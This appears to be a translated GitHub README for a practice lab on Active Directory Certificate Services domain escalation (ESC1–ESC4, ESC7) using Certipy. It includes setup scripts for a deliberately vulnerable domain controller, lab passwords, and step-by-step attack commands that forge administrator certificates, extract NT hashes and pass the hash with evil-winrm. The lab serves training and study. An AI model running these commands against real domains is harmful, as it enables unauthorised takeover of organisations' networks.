arth0sz/Practice-AD-CS-Domain-Escalation
GitHub: arth0sz/Practice-AD-CS-Domain-Escalation
基于「Certified Pre-Owned」白皮书的 AD CS 域提权实战指南,提供预配置虚拟环境和 ESC1-ESC7 攻击路径的详细演练。
Stars: 141 | Forks: 21
## 目录
- [目的](#purpose)
- [完全配置的虚拟机](#fully-configured-vm)
- [使用 PowerShell 配置 Windows Server](#configuring-your-windows-server-with-powershell)
- [导入易受攻击模板](#importing-vulnerable-templates)
- [Active Directory Certificate Services 基础](#active-directory-certificate-services-basics)
- [Certipy 入门](#intro-to-certipy)
- [配置错误的证书模板 - ESC1](#misconfigured-certificate-templates---esc1)
- [配置错误的证书模板 - ESC2](#misconfigured-certificate-templates---esc2)
- [配置错误的注册代理模板 - ESC3](#misconfigured-enrollment-agent-templates---esc3)
- [易受攻击的证书模板访问控制 - ESC4](#vulnerable-certificate-template-access-control---esc4)
- [易受攻击的证书颁发机构访问控制 - ESC7](#vulnerable-certificate-authority-access-control---esc7)
- [结语](#final-words)
## 目的
创建此存储库是为了让 offensive cybersecurity 爱好者有机会练习滥用 Active Directory Certificate Services 进行域权限提升。我们将全程使用 [Oliver Lyak](https://twitter.com/ly4k) 开发的工具 [Certipy](https://github.com/ly4k/Certipy)。
这里的信息基于 [Will Schroeder](https://twitter.com/harmj0y) 和 [Lee Christensen](https://twitter.com/tifkin) 撰写的 Certified Pre-Owned 白皮书。
我也强烈建议阅读 [Oliver Lyak](https://twitter.com/ly4k) 的以下文章:
[Certifried: Active Directory Domain Privilege Escalation (CVE-2022–26923)](https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4)
[Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and more!](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
另一篇推荐阅读的文章是 Schroeder 和 Christensen 的后续文章 [Certificates and Pwnage and Patches, Oh My!](https://posts.specterops.io/certificates-and-pwnage-and-patches-oh-my-8ae0f4304c1d)。
你可以跟随本指南,我们一起进行配置,或者通过提供的链接下载完全配置好的 VM。该 VM 是在 VMWare Workstation 上创建和测试的。
你也可以使用包含的 PowerShell 脚本将易受攻击的模板导入到你自己的 Windows Server 2019 机器中,前提是你已将服务器提升为域控制器并安装了企业根 CA。手动模板配置可以通过证书模板控制台完成。
以下提权路径可用:ESC1、ESC2、ESC3、ESC4 和 ESC7。
## 完全配置的虚拟机
你可以从[这里](https://mega.nz/file/En03zSTC#UU940Sv3jIjExDcj2nmpH_WgLTKo6B5p_oVHVMQpvnk)下载该 VM 的 .ova 文件。请注意,其大小约为 11GB,已分配 2GB 内存。要查找 VM 的 IP,你可以以管理员身份登录,或者直接从你的攻击机上执行 `arp-scan -l`。
### VM 密码
#### 管理员密码
以备不时之需。Base64 编码。
`NTNqRkNNJVUqVFVweE5QQ2Ul`
#### 用户密码
##### s.jackson - ESC1, ESC2, ESC3, ESC4
`s.jackson : Pr3-0wn3d@#.`
##### m.roland - ESC7
`m.roland : Acc3SsC0ntr0l`
## 使用 PowerShell 配置 Windows Server
在开始安装 Active Directory Domain Services 之前,你应该将 PC 重命名为你希望其提升为域控制器后的名称。我选择的名称是 CertDC。
### 步骤 1
你可以使用以下 PowerShell 命令来设置你的域控制器。你的机器将在结束时重启。
```
Install-WindowsFeature -Name AD-Domain-Services -IncludeManagementTools -WarningAction SilentlyContinue | Out-Null
Write-Host "[*] Installing Active Directory Domain Services."
# 如果尚未加载,导入 ActiveDirectory 模块
if (-not (Get-Module -Name ActiveDirectory -ErrorAction SilentlyContinue)) {
Import-Module ActiveDirectory
}
Install-ADDSForest -SkipPreChecks -CreateDnsDelegation:$false -DomainName certipied.local -DomainNetBIOSName Certipied -InstallDNS -SafeModeAdministratorPassword (Convertto-SecureString -AsPlainText "53jFCM%U*TUpxNPCe%" -Force) -Force -WarningAction SilentlyContinue | Out-Null
Write-Host "[*] Creating new forest."
Write-Host "[*] Promoting to domain controller."
Write-Host "[*] Restarting..."
```
### 步骤 2
现在,如果你想完全按照指南进行操作,可以添加相应的用户。
```
# 创建用户 s.jackson
New-ADUser -Name "Sarah Jackson" -GivenName "Sarah" -Surname "Jackson" -SamAccountName "s.jackson" `
-UserPrincipalName "s.jackson@$Global:Domain -Path DC=certipied,DC=local" `
-AccountPassword (ConvertTo-SecureString "Pr3-0wn3d@#." -AsPlainText -Force) `
-PasswordNeverExpires $true -PassThru | Enable-ADAccount | Out-Null
Write-Host "[+] Domain User Sarah Jackson added. Logon: s.jackson, password: Pr3-0wn3d@#."
# 创建用户 m.roland
New-ADUser -Name "Michael Roland" -GivenName "Michael" -Surname "Roland" -SamAccountName "m.roland" `
-UserPrincipalName "m.roland@$Global:Domain -Path DC=certipied,DC=local" `
-AccountPassword (ConvertTo-SecureString "Acc3SsC0ntr0l" -AsPlainText -Force) `
-PasswordNeverExpires $true -PassThru | Enable-ADAccount | Out-Null
Write-Host "[+] Domain User Michael Roland added. Logon: m.roland, password: Acc3SsC0ntr0l"
New-NetFirewallRule -DisplayName "Allow 389" -Direction Outbound -LocalPort 389 -Protocol TCP -Action Allow
New-NetFirewallRule -DisplayName "Allow 636" -Direction Outbound -LocalPort 636 -Protocol TCP -Action Allow
New-NetFirewallRule -DisplayName "Allow 389" -Direction Inbound -LocalPort 389 -Protocol TCP -Action Allow
New-NetFirewallRule -DisplayName "Allow 636" -Direction Inbound -LocalPort 636 -Protocol TCP -Action Allow
```
### 步骤 3
下一步是安装 Active Directory Certificate Services。无需重启。
```
Install-WindowsFeature -Name AD-Certificate -IncludeManagementTools -WarningAction SilentlyContinue | Out-Null
Install-WindowsFeature -Name Adcs-Cert-Authority -IncludeManagementTools -WarningAction SilentlyContinue | Out-Null
Write-Host "[*] Installing new Active Directory Certificate Authority. `n"
Install-AdcsCertificationAuthority -CACommonName Certipied-CA -CAType EnterpriseRootCa -CryptoProviderName "RSA#Microsoft Software Key Storage Provider" `
-KeyLength 2048 -HashAlgorithmName SHA256 -ValidityPeriod Years -ValidityPeriodUnits 99 -WarningAction SilentlyContinue -Force | Out-Null
```
## 导入易受攻击模板
下一步是使用存储库中提供的 PowerShell 脚本来下载并导入所有易受攻击的证书模板。
你仍然需要手动授予我们的用户 Michael Roland 对证书颁发机构的“管理 CA”权限。
## Active Directory Certificate Services 基础
从技术角度来说,Active Directory Certificate Services (AD CS) 是一个 Windows Server 角色,它提供公钥基础设施 (PKI),以便在组织的 Active Directory (AD) 环境中颁发、管理和验证数字证书。AD CS 充当证书颁发机构 (CA),支持数字证书的安全分发和使用,用于各种目的,如身份验证、加密和数字签名。
我们需要了解的一些术语:
1. **证书颁发机构 (CA):** AD CS 包含一个或多个 CA,负责颁发和管理数字证书。这些证书用于验证 AD 域内用户、计算机、设备或服务的身份。CA 是 PKI 的关键组件,生成公私钥对并对证书进行签名,以建立信任和真实性。
2. **公钥基础设施 (PKI):** AD CS 实现了一个由加密密钥、数字证书和信任关系组成的 PKI 框架。PKI 通过利用非对称加密算法实现安全通信、数据加密和数字签名,其中每个实体都拥有一对公私钥。
3. **证书模板:** AD CS 使用证书模板来定义要颁发的证书的属性和用法。这些模板允许管理员创建自定义证书类型,指定哪些用户或计算机可以请求它们以及它们的用途(例如,客户端身份验证、服务器身份验证、电子邮件加密)。你不能创建新模板,只能复制现有模板。
4. **SAN**:代表使用者可选名称。它是 X.509 数字证书中的一个扩展字段,允许单个证书在单个证书中保护多个使用者名称(身份)。这意味着请求者可以以任何人的身份请求证书,包括域管理员。
5. **EKU**:代表增强型密钥用法。它是 X.509 数字证书中的一个扩展字段,指定了证书可用于的目的或特定用途。增强型密钥用法 (EKU) 扩展允许管理员定义证书可用于的一组目的或应用程序。EKU 扩展包含一个或多个对象标识符 (OID),代表证书的允许用途。
我们要在这里介绍的是证书模板是多么容易被配置错误,以及这如何迅速导致域提权。
为了进行枚举和利用,我们将使用上述 Oliver Lyak 开发的名为 Certipy 的工具。
你可以在[这里](https://github.com/ly4k/Certipy)找到 Certipy 的 GitHub 存储库。欢迎你通读工具文档,并在没有指导的情况下尝试自行利用提供的 VM。
## Certipy 入门
Certipy 是一个用于枚举和滥用 Active Directory Certificate Services (AD CS) 的 offensive 工具。
### 安装
`pip3 install certipy-ad`
### 基础
本节将仅涵盖利用提供的提权路径所需的基础知识。
#### 查找
`find` 命令是我们用于枚举的命令。我们将使用 `-u` 指定用户名,使用 `-p` 指定密码,使用 `-dc-ip` 指定域控制器 IP。我使用了 `-text` 标志,因此输出将仅保存到 `.txt` 文件中。
否则,该工具还会将输出保存为 JSON 格式以及一个可导入 BloodHound 进行可视化的 .zip 文件。在本指南中,我们将仅使用 .txt 文件。
`certipy find -u s.jackson@certipied.local -p 'Pr3-0wn3d@#.' -dc-ip 192.168.91.181 -text`

或者,你也可以添加 `-vulnerable` 标志,这将仅输出易受攻击的模板。
#### 请求
`req` 命令用于请求、检索和续订证书。
`certipy req -u s.jackson@certipied.local -p 'Pr3-0wn3d!#.' -ca Certipied-CA -template Vuln-ESC1 -upn administrator@certipied.local -dc-ip 192.168.91.159`
在这里,我们还使用 `-ca` 指定证书颁发机构,使用 `-template` 指定我们要滥用的模板名称,使用 `-upn` 指定用户主体名称。
通常,这会生成一个带有 `.pfx` 扩展名的证书文件,然后我们可以使用该文件进行身份验证。
#### auth
`auth` 命令用于使用之前生成的 `.pfx` 文件进行身份验证。
默认情况下,Certipy 将尝试从证书 (`-pfx`) 中提取用户名和域,通过 Kerberos 进行身份验证,这将检索 TGT 和目标用户的 NT hash。
你很快就会看到这些命令的实际效果。
#### ca
`ca` 命令可用于直接与证书颁发机构交互并对其进行操作。当我们介绍 ESC7 时,你将遇到此命令的用例。
#### 模板
`template` 命令可用于操作、保存和恢复模板配置。当我们介绍 ESC4 时,你将遇到此命令的用例。
## 配置错误的证书模板 - ESC1
让我们回顾一下使此提权路径可用的先决条件:
- CA 授予*低权限用户*注册权限
- 管理员批准被禁用
- 不需要授权签名
- 证书模板允许请求者在证书签名请求 (CSR) 中指定使用者可选名称 (SAN)。
- 证书模板定义了启用身份验证的 EKU。

我们已经使用 `find` 命令枚举了可用的模板。
如果我们检查生成的 `.txt` 文件,我们将发现模板 `Vuln-ESC1` 易受此提权路径攻击。

以下是我们需要关注的,以便我们自己发现易受攻击的模板:

### 模板滥用
首先,我们将使用有效的域用户凭据请求易受攻击的模板,并指定管理员帐户的 UPN。
`certipy req -u s.jackson@certipied.local -p 'Pr3-0wn3d@#.' -ca Certipied-CA -template Vuln-ESC1 -upn administrator@certipied.local -dc-ip 192.168.91.181`

然后我们将使用我们获得的证书进行身份验证,这将为我们提供该帐户的 NT hash。
`certipy auth -pfx administrator.pfx -dc-ip 192.168.91.181`

就这样我们获得了管理员哈希,我们需要做的就是执行哈希传递攻击以获取 shell,域就是我们的了。
`evil-winrm -i 192.168.91.181 -u administrator -H 91e2bb8a04a98412fd7db7a798426b19`

## 配置错误的证书模板 - ESC2
让我们再次从使此提权路径可用的先决条件开始:
- CA 授予*低权限用户*注册权限
- 管理员批准被禁用
- 不需要授权签名
- 证书模板将任何目的作为 EKU

易受 ESC2 攻击的证书也会显示为易受 ESC3 攻击。

以下是我们需要关注的,以便我们自己发现易受攻击的模板:

### 模板滥用
如果请求者可以指定 SAN,则易受 ESC2 攻击的证书模板可以像 ESC1 一样被滥用。
由于证书可用于任何目的,因此可以使用与 ESC3 相同的技术对其进行滥用,我们将在下面介绍。
`certipy req -u s.jackson@certipied.local -p 'Pr3-0wn3d@#.' -ca Certipied-CA -template Vuln-ESC2 -dc-ip 192.168.91.181`

然后,我们可以使用证书请求代理证书 (`-pfx`) 通过指定 `-on-behalf-of` 标志代表另一个用户请求证书。`-on-behalf-of` 参数值必须采用 `domain\user` 的形式,而不是域的 FQDN,即 `certipied` 而不是 `certipied.local`。
`certipy req -u s.jackson@certipied.local -p 'Pr3-0wn3d@#.' -ca Certipied-CA -template User -on-behalf-of 'certipied\Administrator' -pfx s.jackson.pfx -dc-ip 192.168.91.181`

然后我们可以使用新证书以管理员身份进行身份验证。
## 配置错误的注册代理模板 - ESC3
这种情况与前两种类似,但是,它涉及不同的 EKU,即证书请求代理。
在 Microsoft 文档中,它也被称为注册代理,并允许主体代表另一个用户注册证书。
此提权路径还需要至少两个符合我们将在下面探讨的条件的模板。
模板 1 的要求:
- CA 授予*低权限用户*注册权限
- 管理员批准被禁用
- 不需要授权签名
- **模板允许低权限用户注册注册代理证书。**
- 证书模板将证书请求代理作为 EKU

以下是我们需要关注的,以便我们自己发现易受攻击的模板:

模板 2 的要求:
- CA 授予*低权限用户*注册权限
- 管理员批准被禁用
- **模板架构为版本 1 或大于 2,并指定了需要证书请求代理 EKU 的应用程序策略颁发要求。**
- 证书模板具有允许域身份验证的 EKU。
- CA 上未实施注册代理限制。

以下是此类模板的外观,但是,它本身不会显示为易受任何攻击。

### 模板滥用
滥用此模板将重复我们在 ESC2 中介绍的内容。
首先,我们必须基于易受 ESC3 攻击的证书模板请求证书。
`certipy req -u s.jackson@certipied.local -p 'Pr3-0wn3d@#.' -ca Certipied-CA -template Vuln-ESC3-1 -dc-ip 192.168.91.185`

然后,我们可以使用证书请求代理证书 (`-pfx`) 通过指定 `-on-behalf-of` 标志代表另一个用户请求证书。`-on-behalf-of` 参数值必须采用 `domain\user` 的形式,而不是域的 FQDN,即 `certipied` 而不是 `certipied.local`。
`certipy req -u s.jackson@certipied.local -p 'Pr3-0wn3d@#.' -ca Certipied-CA -template User -on-behalf-of 'certipied\Administrator' -pfx s.jackson.pfx -dc-ip 192.168.91.185`

然后我们可以使用新证书以管理员身份进行身份验证。
## 易受攻击的证书模板访问控制 - ESC4

ESC4 是指用户对证书模板拥有写入权限。例如,这可能被滥用来覆盖证书模板的配置,使模板易受 ESC1 攻击。
默认情况下,Certipy 将覆盖配置以使其易受 ESC1 攻击。
### 模板滥用
我们可以指定 `-save-old` 标志来保存旧配置,这对于之后恢复配置很有用。
`certipy template -u s.jackson@certipied.local -p 'Pr3-0wn3d@#.' -template Vuln-ESC4 -dc-ip 192.168.91.181 -save-old`

因此,我们现在可以基于 ESC4 模板请求证书,并使用 `-upn` 标志指定任意 SAN,其方式与我们处理 ESC1 的方式完全相同。
`certipy req -u s.jackson@certipied.local -p 'Pr3-0wn3d@#.' -ca Certipied-CA -template Vuln-ESC4 -upn administrator@certipied.local -dc-ip 192.168.91.181`

我们可以通过使用 `-configuration` 标志指定保存的配置的路径来恢复旧配置。
`certipy template -u s.jackson@certipied.local -p 'Pr3-0wn3d@#.' -template Vuln-ESC4 -dc-ip 192.168.91.181 -configuration Vuln-ESC4.json`

## 易受攻击的证书颁发机构访问控制 - ESC7

### 模板滥用
如果你仅拥有 `Manage CA` 访问权限,则可以通过将你的用户添加为新 officer 来授予自己 `Manage Certificates` 访问权限。
`certipy ca -ca 'Certipied-CA' -add-officer m.roland -u m.roland@certipied.local -p 'Acc3SsC0ntr0l' -dc-ip 192.168.91.181`

可以使用 `-enable-template` 参数在 CA 上**启用** **`SubCA`** 模板。默认情况下,`SubCA` 模板处于启用状态。
`certipy ca -ca 'Certipied-CA' -enable-template SubCA -u m.roland@certipied.local -p 'Acc3SsC0ntr0l' -dc-ip 192.168.91.181`

如果我们已满足此攻击的先决条件,我们可以首先基于 `SubCA` 模板请求证书。
此请求将被拒绝,但我们将保存私钥并记下请求 ID。
`certipy req -u m.roland@certipied.local -p 'Acc3SsC0ntr0l' -ca Certipied-CA -template SubCA -upn administrator@certipied.local -dc-ip 192.168.91.181`

凭借我们的 `Manage CA` 和 `Manage Certificates`,我们可以随后使用 `ca` 命令和 `-issue-request ` 参数颁发失败的证书请求。
`certipy ca -ca 'Certipied-CA' -issue-request 8 -u m.roland@certipied.local -p 'Acc3SsC0ntr0l' -dc-ip 192.168.91.181`

`certipy req -u m.roland@certipied.local -p 'Acc3SsC0ntr0l' -ca Certipied-CA -retrieve 8 -dc-ip 192.168.91.181`

## 结语
我希望对一些可用提权路径的这种检查会有所帮助。我建议参考开头提到的所有来源,以更深入地了解该主题以及滥用 Active Directory Certificate Services 的许多潜在可用路径。
将来我可能会在本指南中添加更多内容。
标签:Active Directory, AD CS, AI合规, AWS 安全, Certified Pre-Owned, Certipy, CSV导出, CVE-2022-26923, ESC4, ESC7, IPv6, Libemu, Libemu, log2timeline, OSINT, Plaso, PowerShell, RuleLab, silver certificate, Web报告查看器, Windows Server, 域渗透, 攻击向量, 数据展示, 权限滥用, 模板配置错误, 漏洞复现, 特权提升, 环境搭建, 电子数据取证, 红队, 网络安全, 自动化部署, 证书服务, 超级时间线, 逆向工具, 金色票据, 隐私保护